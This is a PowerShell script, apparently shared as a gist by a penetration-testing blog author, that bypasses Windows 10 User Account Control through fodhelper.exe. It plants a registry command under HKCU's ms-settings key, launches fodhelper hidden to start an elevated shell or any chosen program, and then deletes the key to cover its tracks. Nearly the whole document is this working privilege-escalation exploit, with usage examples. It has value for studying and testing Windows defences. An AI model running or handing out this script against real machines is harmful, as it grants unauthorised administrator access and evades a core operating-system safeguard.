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Bypass UAC via Fodhelper binary in Windows 10 systems
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<# | |
.SYNOPSIS | |
This script can bypass User Access Control (UAC) via fodhelper.exe | |
It creates a new registry structure in: "HKCU:\Software\Classes\ms-settings\" to perform UAC bypass and starts | |
an elevated command prompt. | |
.NOTES | |
Function : FodhelperUACBypass | |
File Name : FodhelperUACBypass.ps1 | |
Author : netbiosX. - pentestlab.blog | |
.LINKS | |
https://gist.github.com/netbiosX/a114f8822eb20b115e33db55deee6692 | |
https://pentestlab.blog/2017/06/07/uac-bypass-fodhelper/ | |
.EXAMPLE | |
Load "cmd /c start C:\Windows\System32\cmd.exe" (it's default): | |
FodhelperUACBypass | |
Load specific application: | |
FodhelperUACBypass -program "cmd.exe" | |
FodhelperUACBypass -program "cmd.exe /c powershell.exe" | |
#> | |
function FodhelperUACBypass(){ | |
Param ( | |
[String]$program = "cmd /c start C:\Windows\System32\cmd.exe" #default | |
) | |
#Create Registry Structure | |
New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force | |
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force | |
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value $program -Force | |
#Start fodhelper.exe | |
Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden | |
#Cleanup | |
Start-Sleep 3 | |
Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force | |
} |
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